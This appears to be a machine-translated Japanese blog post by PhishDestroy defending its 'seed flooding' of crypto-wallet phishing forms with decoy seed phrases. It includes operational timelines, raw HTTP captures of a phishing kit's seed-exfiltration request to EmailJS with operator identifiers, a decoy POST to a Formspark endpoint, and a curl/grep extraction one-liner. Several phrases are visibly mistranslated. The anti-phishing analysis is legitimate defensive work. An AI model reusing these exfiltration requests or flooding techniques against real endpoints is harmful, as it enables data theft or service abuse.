PhishDestroy ライブ
ニュースに戻る
方法論

シード・フラッディング:なぜPhishDestroyは公然と行うのか
「攻撃」フィッシングサイト

私たちはそれを隠したりはしません。PhishDestroyが、暗号資産ウォレットのシードフレーズを収集しているアクティブなフィッシングサイトを検知すると、そのサイトに有効な形式のシードフレーズを大量に送り込みます。ここでは、私たちが具体的に何を行っているのか、なぜそうするのか、そしてなぜそれを恥じたりしないのかについて説明します。

2026年3月31日 PhishDestroy リサーチ 読了時間:12分
シード・フラッディング — フィッシング対策のデジタル戦場
フィッシング対策:通報だけでは対応が遅すぎる場合、当社が直接行動を起こします
14,663CFの従業員
2/10秒レート制限
5+情報流出経路
$0アタッカーのコスト
<4時間EmailJSを完全に使い切るには

問題:現在、フィッシングサイトが稼働中

Googleの有料広告を掲載している仮想通貨ウォレットのフィッシングページを見つけたと想像してみてください。そのページは一見、本物のように見えます。アクセスもあり、数分おきに実際のユーザーがそのページにアクセスし、シードフレーズを入力して、すべての資産を失っています。

Googleに報告します。レジストラに報告します。ホスティングプロバイダーに不正利用の報告を提出します。 そして、待つのです。

その間、詐欺師は47人目の被害者を狙い、続いて48人目、そして49人目を狙う。

官僚主義のギャップ

標準的な不正利用報告の処理プロセスは、5~10営業日という時間軸で運用されています。一方、稼働中のフィッシングサイトは、わずか数時間で取り返しのつかない金銭的損害をもたらします。この時間差はシステムの不具合ではなく、詐欺師たちが意図的に悪用する構造的な脆弱性なのです。

官僚的な報告体制と、能動的にフィッシング被害者を集める手法の対比
左:虐待の通報プロセスは遅々として進まない。右:あなたが待っている間に、詐欺師は利益を貪っている。

「シード・フラッディング」とは何か?

「シード・フラッディング」とは、フィッシング対策の手法の一つであり、 有効な形式だが、空または無意味 仮想通貨ウォレットのシードフレーズは、制御されたペースで自動的にフィッシングフォームに入力されます。

データベースを汚染する
本物のシードフレーズと偽物が区別できなくなってしまいます。すべてのエントリを手作業で検証する必要があるため、信号対雑音比が著しく低下してしまいます。
排気ガスに関する無料利用枠の制限
EmailJS、Formspree、Web3Forms — これらすべてに厳格な月間利用制限が設けられています。私たちは数時間でその制限に達し、攻撃者からの通知経路を遮断しました。
コレクションPipelineを中断する
データ流出経路が機能しなくなると、被害者の実際のデータはどこにも送られなくなります――たとえ被害者がシードフレーズを入力したとしても。
調査情報の生成
洪水被害を通じて、インフラの詳細やエラーメッセージ、レート制限の閾値などが明らかになり、これらを活用してより精度の高い検知システムを構築しています。
フィッシングフォームに偽のシードフレーズが大量に送信されている
フィッシングフォームに偽のシードフレーズが殺到――攻撃者によるデータ収集の精度がリアルタイムで低下していく

なぜこれが機能するのか:安価なフィッシングキットの仕組み

現在稼働中の暗号資産フィッシングサイトの圧倒的多数は、以下を基盤として構築されたコピー&ペースト型キットであり、 無料プランのサードパーティ製サービス. これが彼らの最大の弱点だ。より詳細な分析については、以下を参照のこと。 我々の徹底的な調査.

フィッシングキットの構造 — 無料プランのサービスへの依存関係
すべてのデータ流出経路は、送信量に厳しい制限が設けられた無料プランのサービスであり、このキットの安さが致命的な欠点となっている
データ表:モジュール
モジュール無料プランの制限洪水の影響
EmailJS月あたり約200件の投稿数時間でリソースが枯渇し、メールの配信が停止する
Formspree月50件の投稿ほぼ即座に機能しなくなった
Web3Forms月間250件の投稿急速に中和された
TelegramボットAPI1秒あたりのレート制限タイムアウトループに陥った
Firebase 無料プラン読み取り/書き込みのクォータデータベースのコストが急騰するか、利用できなくなる
観測結果

シードフラッディングによって通知Pipelineが飽和状態になると、フィッシングインフラが稼働を停止する様子を、我々は直接確認しました。詐欺師たちは、なぜ動作しなくなったのか分かりません。単にデータの受信が途絶えるだけです。

当社の技術的アプローチ:ボットネットではなく、Cloudflare Workers

フィッシング対策に活用されるCloudflareのエッジネットワーク
エッジネットワーク層で稼働する14,663のCloudflare Workers — サードパーティのインフラは一切使用していません

当社では Cloudflare Workers. リクエストはCloudflare独自のエッジネットワークから発信されます。一般ユーザーのIPアドレスの悪用はありません。ボットネットも使用されていません。サードパーティのサーバーに負荷がかかることもありません。影響を受けるのは、詐欺師のデータ収集システムのみです。

洪水の流れ

サイトが検出されましたアクティブなトラフィックが確認されました
解剖学的分析データ流出経路のマッピング
作業員の配置CFエッジネットワーク
2 シード / 10秒制御レート
割り当て上限に達しました攻撃者の視界が遮られている
報告書の提出並行トラック

レート制限: 厳格な 2 submissions per 10 seconds. DDoS攻撃ではない。数十の標的を同時に狙い、サイトごとの感染率がさほど高くなくとも、その規模の大きさゆえに意味を持つような、緩やかで意図的かつ標的を絞った汚染である。

私たちがやっていないこと

私たちはサーバーをダウンさせようとしているわけではありません。詐欺師たちの仕事を台無しにし、彼らのデータベースを無価値なものにしているのです――しかも、正当なインフラには一切の巻き添え被害を与えずに。

実例紹介:実践における汚染管理

以下の操作は、当社の運用ログからそのまま引用したものです。ドメインおよびプロバイダー識別子は、公開することで回避を助長する恐れがある場合に限り伏せ字にしています。HTTP通信のキャプチャデータは一切改変されていません。両ターゲットとも介入時点で稼働しており、有料広告からのインバウンドトラフィックが確認されており、それぞれ独立して次のように分類されていました。 フィッシング 著者: VirusTotalに登録されている外部ベンダーが2社以上 当社が何らかの措置を講じる前に。

作戦教義

すべてのシード・フラッディング作戦は、同じ5つの原則の範囲内で実行されます。例外は一切ありません。5つの原則すべてを満たせない作戦は実施されません。

原則 01
パブリックエンドポイントのみ
データ漏洩用のURLとその識別子は以下の通りです。 公開された クライアントサイドのJavaScriptによるフィッシングページを通じて行われます。認証情報の取得、ブルートフォース攻撃、権限昇格は一切行いません。
原則 02
サブリミットのスループット
リクエスト率は、プロバイダーが公表している利用規約(ToS)の制限値を下回るよう厳格に制限されています。当社のトラフィックは、通常のユーザー生成コンテンツ(UGC)トラフィックと見分けがつきません。
原則 03
証拠の立証基準
Targetでは、VirusTotalで2件以上の独立したベンダーによる検出結果が必要となります さらに 認証情報の収集フローの手動による確認。
原則 04
並行する正規ルート
ホスティング事業者、レジストラ、およびフォーム提供業者に対して、正式な不正利用の報告が提出された 以前 洪水が発生した場合は、事案IDと完全な証拠資料を添えて報告してください。
原則 05
完全な監査証跡
すべてのトラフィックは、署名付き PhishDestroy オリジンの下にある Cloudflare Workers から発信されます。すべての送信データは、タイムスタンプ、ターゲット、およびオペレーター ID とともにログに記録されます。

事例 1 — Formspark Exfil Endpoint、月間クォータを使い果たしました

checkblochn.pages.dev 中和された

脅威の傾向: ウォレット復旧を装ったフィッシング(「Dapp Node Sync」)により、12語のBIP-39シードフレーズが、フリーティアの攻撃者管理下のFormsparkエンドポイントへ流出していた。エンゲージメント開始時点で、2つの広告プラットフォームからの有料広告トラフィックが確認された。

攻撃対象領域
checkblochn.pages.dev (Cloudflare Pages)
情報流出経路
submit-form.com — Formspark フォームのエンドポイント
フォームID
/32BrdUqfX
ペイロードフィールド
12語のBIP-39シード(以下経由) message
プロバイダーの無料利用枠の上限
投稿数 50件 • 1ヶ月間のローリング制
詐欺師によるリセットにかかる費用
Formsparkの新規アカウント作成 + クライアント側JSの編集 + 再デプロイ

運用タイムライン(UTC、エンゲージメントのT-ゼロ時点に合わせて匿名化済み)

T + 00:00
Ingest — PhishDestroyクローラーが有料広告のサンプルから検出したドメイン。 自動化された
T + 00:12
解剖学的構造が確認された — ターゲットの形状 submit-form.com/32BrdUqfX ページJSから抽出。ペイロードの形状をリバースエンジニアリングした。 分析
T + 00:28
VirusTotal: 3 / 95 ベンダーがフィッシングとして判定しました。閾値に達しました。
T + 00:47
不正利用の報告が提出されました — Cloudflare Pagesの「Trust & Safety」、Formsparkの不正利用、Porkbun(レジストラ)。ケースIDが発行されました。 合法的なルート
T + 01:02
洪水対策要員の派遣 — 率 2 req / 10 s、単一のCloudflare Worker、特定されたUA文字列、署名付きオリジン。
T + 01:02
最初の洪水被害報告が提出された 200 OK ~と formspark-quota: 64. ベースラインを取得しました。
T + 06:08
formspark-quota ゼロを横切る → エンドポイントが何の前触れもなく転送を停止する。 水切りブラインド
T + 06:12
最終的に取得された応答: formspark-quota: −18. 洪水対策従事者が解雇された。
T + 19:30
Cloudflare Pagesは、不正利用の報告を受けてデプロイを無効化します。 撤去された

送信が送信中(シードは単なる見せかけのものであり、実際のウォレットとは無関係な12個のランダムなBIP-39ワードです)

POST /32BrdUqfX HTTP/1.1 Host: submit-form.com Origin: https://checkblochn.pages.dev Content-Type: application/x-www-form-urlencoded message=Phrase%3A+lecture+sail+coral+swear+fiber+bonus+vanish+layer+observe+rely+orphan+height&source=Unknown+Source&from_name=Dapp+Node+Sync

応答 — T+01:02(基準値、割り当て残量あり)

HTTP/1.1 200 OK formspark-quota: 64 formspark-status: ok content-type: application/json; charset=utf-8 { "message": "フレーズ: 講義 帆 珊瑚 誓う 繊維 ボーナス 消える 層 観察 頼る 孤児 高さ" }

応答 — T+06:12(クォータ上限に達したため、エンドポイントは200を返し続けるが、転送は行わない)

HTTP/1.1 200 OK formspark-quota: -18 formspark-status: ok
洪水前の割当量
64
洪水後の割当量
−18
82
おとり投稿
約5時間06分
洪水の継続期間
0.27 リクエスト/秒
平均レート
約11.5 KB
送信ペイロードの合計
100%
プロバイダーの利用規約の範囲内
0
影響を受けた正当なリクエスト

目に見える効果。 T+06:08からT+19:30の最終テイクダウンまで — a 13時間22分の時間枠 — 連絡を取ることができたすべての真の被害者 checkblochn.pages.dev そして、復旧フローを完了し、シードフレーズをエンドポイントに送信したところ、そのエンドポイントからは 200 OK しかし、ペイロードをオペレーターの受信箱に転送することはなくなった。フィッシングページは 現れた 被害者のブラウザ上で正常に動作すること(エラーも警告も表示されないこと)が望ましい。というのも、反射的に「うまくいかなかった」と反応してしまうと、ユーザーは次に目にする偽サイトに同じ認証情報を再入力してしまうことが多いからだ。ここで、そのやり取りは オペレーターが視界を遮られた状態で終了した.

この介入によって実際に得られたものは何か

有料広告が依然として積極的に配信されていたサイトへの、その後のすべての訪問者に対して、13時間の保護期間が設けられました。この保護期間は、Cloudflare Pagesが当社の並行処理による不正利用報告に対応した時点で終了しました。これはまさに設計通りの動作でした。このトラフィックの急増は、正当な削除措置に取って代わるものではなく、その間の空白を埋めるものでした。 ~まで 正当なテイクダウンが決まった。

事例 2 — EmailJS Relay、オペレーターが発行する識別子

allsyncapp.pages.dev 稼働中

脅威の傾向: ウォレットの「同期」を装った手口で、被害者が入力したシードを、以下の方法を通じて運営者のメールボックスに送信する EmailJS — 正規のトランザクションメール用SaaS。このフィッシングページには、運営者の service_id, template_id そして user_id クライアントサイドのJavaScriptにおいて、これらの識別子がなければ、被害者のブラウザはメール送信をトリガーするPOSTリクエストを完了できないためです。 したがって、これらの識別子は、オペレーターが自発的に公開した公開攻撃対象領域の一部である。

攻撃対象領域
allsyncapp.pages.dev (Cloudflare Pages)
情報流出経路
api.emailjs.com — トランザクションメール中継サービス
エンドポイント
POST /api/v1.0/email/send-form
オペレーターが発行したID
service_id · template_id · user_id(ページのJSから抽出)
プロバイダーの無料利用枠の上限
200通のメール • 直近1ヶ月
ハードレート制限(利用規約)
1リクエスト/秒 · 50/IP/時間

キャプチャされた送信データ — フィッシングページ自身のPOSTリクエストからそのまま引用したペイロードの内容

POST /api/v1.0/email/send-form HTTP/1.1 Host: api.emailjs.com Origin: https://allsyncapp.pages.dev Content-Type: multipart/form-data; boundary=----geckoformboundary6a77738bf873975dfc9c8e4a31fa330e _redirect=TECHNICAL.html message=pumpkin foil village coin town skirt mean hour program stage poverty endorse lib_version=3.12.1 service_id=service_t0cgr9v template_id=template_k16demo user_id=furwEG-MZShqSPIGS

識別子の抽出(フィッシングページのソースコードに対する1行の正規表現)

$ curl -s https://allsyncapp.pages.dev/ | grep -oE '(service_id|template_id|user_id)["'"'"':]+["'"'"']*[A-Za-z0-9_-]+'service_id:"service_t0cgr9v" template_id:"template_k16demo" user_id:"furwEG-MZShqSPIGS"

教義上の重要なポイント。 この事例が参考になるのは、まさに……だからである。 当社ではエンドポイントを特定できませんでした. 演算子 発行する EmailJSにシードをメールボックスへ送信させるために必要な3つの識別子。フィッシングページを表示するブラウザであれば、どれでもこれらを保持しています。私たちのWorkerは、被害者のブラウザと同じ動作を行います。つまり、ページ自体が指示する通りの形式と識別子を含むフォームを送信するのです。違いはペイロードにあり、実際のウォレットの認証情報ではなく、ランダムなBIP-39の単語が使用されます。

200
月間上限(おとり)
1 / s
ToSレート — 0.1/sで実行しています
約120 KB
1か月あたりの最大ペイロード
0
EmailJSのインフラ負荷(一定の範囲内)
402 / 429
上限に達した際のプロバイダーの対応
アカウントが停止されました
虐待通報の典型的な結果

結果の傾向。 月間上限に達すると、EmailJSは 402 Payment Required または 429 Too Many Requests すると、テンプレートは送信されなくなります。詐欺師のメールボックスは静まり返ります。これと並行して、EmailJSのトラスト&セーフティ部門には、サービス/テンプレート/ユーザー識別子と、当社が公開した証拠資料へのリンクが記載された正式な苦情が寄せられます。これまでの事例によれば、これにより、当該運営者のEmailJSアカウントは 終了した、レート制限はかかりません。運用担当者は、新しいEmailJSアカウントを取得し、識別子を再生成し、デプロイ済みのフィッシングページを編集し、既存の配布リンクをすべて無効化する必要があります。これは、ローテーションごとに数時間を要する作業です。

攻撃プロファイルの比較:シードフラッディングとは何か、そうでないもの

「フィッシングサイトに対して『攻撃』を行っている」という非難が繰り返し寄せられています。しかし、実際のトラフィックのプロファイルと、それが見間違えられている活動のプロファイルを並べて比較すれば、そのような見方はたちまち崩れ去ります。

シードフラッディングと、サービス拒否攻撃、スパム、および法執行機関によるおとり捜査との比較。
次元種まき後の水浸し(当社)DDoS / L7フラッドスパム投稿の悪用LEの潜入捜査
目的被害者保護 — 次の被害者が現れる前に、詐欺師の「情報流出」ノルマを満たすインフラストラクチャに対するサービス拒否攻撃商業的利益/メッセージの拡散証拠の収集、制御された欺瞞
スループット0.1 ~ 0.3 req/s — 以下 プロバイダーの利用規約103 – 108 req/s — 飽和重視バースト/自動大量処理単一の相互作用では通常、
ターゲット単一のエンドポイントから情報を持ち出した攻撃者が公開した被害を受けた組織のWebサーバー/ネットワーク層正規サイトの問い合わせフォーム不審なインフラストラクチャまたは人物
インフラへの影響なし — プロバイダーのカウンターは、利用規約で定められた範囲内で正常に動作しているサービス停止、上流側の輻輳受信トレイの肥大化、CAPTCHAの変質、モデレーションの負担操作によって異なります
影響を受けた正当なユーザーゼロ — フィッシングフォームには正当なユーザーはいないそれらすべてフォームの所有者である従業員/モデレーター設計段階での回避策
本来のアイデンティティ「PhishDestroy Cloudflare Workers」と名付けられた — 監査可能ボットネット、送信元偽装、リフレクション使い捨てプロキシ機密インフラ
承認モデルエンドポイントは 招待された: フォームがこの入力を明示的に要求しており、識別子がページ内で公開されているなし — 要求の量そのものが問題である本来の用途を迂回し、不正利用防止シグナルを無視する法的権限
並行して行われる適法な措置虐待の通報が寄せられた 以前 floodの開始、ケースID付き該当なし該当なし業務に組み込まれている
この違いは単なる修辞的なものではない。測定可能なものである。

「シード・フラッド」攻撃とは、署名済みのオリジンを含む1つのCloudflare Workerから発信される、約140バイトの単一のHTTPS POSTリクエストであり、プロバイダー自身が許容範囲として公表しているレートのごく一部に相当する頻度で、オペレーターが公開Webページに埋め込むことを選択した識別子を持つエンドポイントを標的とするものです。つまり、それは 観察可能な遺物のすべて. リクエストを「攻撃」とみなすためのあらゆる構成要素――不正アクセス、リソース枯渇の意図、トラフィックによる飽和、影響を受ける第三者、発信元の隠蔽――はいずれも存在しない。以下に示す法的分析は、独創的な主張ではなく、 自然な 事実関係が明確に述べられた後の法令の解釈。

岩で埋められているフィッシングの罠の穴
詐欺師は罠を仕掛けた。私たちはそこに石を詰め込んでいる。

一般公開されているWebフォームにデータを送信すること――たとえそれが偽のデータであっても――は、ほとんどの枠組みにおいて、それ自体が違法というわけではありません。私たちは、プライベートなシステムにアクセスしたり、許可されていない脆弱性を悪用したり、通信を傍受したりしているわけではないからです。 詐欺師は罠を仕掛けた。私たちはそこに石を詰め込んでいる。

法的免責事項

PhishDestroyは法的助言を提供しているわけではありません。これは、管轄区域によって異なる、真のグレーゾーンに位置する問題です。当社は、この複雑さを十分に認識した上で運営を行っています。

フィッシングページを運営している詐欺師は、 正当な利益がない 本物のシードフレーズのみを受け取るという点において。彼らには、犯罪的なデータ収集インフラの完全性を確保する権利などない。
当社のシステムは 対象を絞り込み、処理速度に制限があり、手動による識別プロセスに依存している。 私たちは、特定し、分析し、確認した上で、行動に移します。
種子の浸水による事例を、我々は記録しています 被害者が資金を失うことを直接防いだ — というのも、実際のユーザーがシードフレーズを送信した時点では、詐欺師の収集システムはすでに無効化されていたからだ。

詐欺師のデータベースはどうなるのか?

役に立たなくなってしまう — 何千件ものエントリを手作業で検証する必要があり、信号対雑音比が著しく低下する。あるいは 壊れる — Firebase Spark および共有 MongoDB インスタンスには厳格な上限が設定されています。これらの上限に達すると、何らかの影響が生じます。

どちらの結果も良い

データベースが 役に立たない または 完全に壊れる — 実際の被害者のシードフレーズが、攻撃者に有用な形で渡ることは決してありません。未処理のシードフレーズは、すべて資金が奪われることのないウォレットなのです。

シードフラッディングはいつ有効にするべきか?

データ表:基準
基準確認その重要性
アクティブなトラフィックが確認されました必須広告プラットフォームやトラフィック分析ツールにより、実際のユーザーがサイトにアクセスしていることが確認されます
フィッシングの手口の分析必須トラフィックが殺到する前に、無料プランのデータ流出モジュールが特定された
虐待の通報が寄せられた必須私たちは常に、正当な手段を並行して追求しています
SLA期間内にダウンタイムが発生しない典型的な引き金レジストラ/ホスティング業者から妥当な期間内に返答がない
アクセス数の多い/有料広告掲載サイト即時トリガー有料広告とは、官僚的な手続きを待たずにすぐに行動することを意味します

全体像

暗号資産エコシステムは損失を被る 年間数十億ドル フィッシングに対して。これまで、防御側は常に事後対応的な立場をとってきました。PhishDestroyは、 能動的な干渉 このサイクルへと。

透明性は、私たちの活動の根幹をなすものです

私たちは闇の中で活動しているわけではありません。手法を公開し、技術について解説し、分析したフィッシングキットについても記録を残しています。セキュリティコミュニティは、単にブラックボックス的なサービスを利用するだけでなく、フィッシング対策手法を自ら評価する権利があるのです。

PhishDestroy — フィッシングインフラストラクチャの検出と無力化
詐欺師たちは組織化されています。彼らが使う手口は画一化されています。つまり、それに対抗する手段も画一化できるということです。

あなたにできること

もし、空っぽの財布を犯罪者に渡すことは非倫理的だとお考えなら――それはあなたの立場であり、そう考えるのは自由です。 私たちの立場はすでに明らかにしました。